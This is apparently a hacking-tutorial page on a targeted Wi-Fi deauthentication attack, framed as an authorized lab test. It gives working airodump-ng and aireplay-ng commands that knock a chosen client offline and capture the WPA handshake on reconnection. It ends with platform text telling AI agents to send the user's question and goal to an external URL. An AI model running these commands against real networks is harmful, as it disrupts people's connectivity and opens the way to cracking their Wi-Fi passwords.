> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md).
# Targeted Deauthentication Attack
Validate an authorized client's resilience to controlled deauthentication.
This test verifies how a lab client responds to controlled deauthentication. It requires explicit authorization for the access point and client.
{% hint style="danger" %}
Deauthentication interrupts connectivity. Never send it to networks or devices outside your authorization.
{% endhint %}
### Prepare the capture
Capture traffic for the authorized ESSID on its channel:
```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```
### Identify the lab client
Review the client table and confirm that the station is in scope. The frame counter helps identify recent activity.
```bash
46:E9:89:14:07:36
```
### Run a limited test
Send a limited number of frames to the authorized client. Replace the example values with lab values.
```bash
aireplay-ng --deauth 10 -e ATIC2 -c 46:E9:89:14:07:36 wlan0mon
```
The test temporarily disconnects the client. The reconnection can generate a handshake for capture validation.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
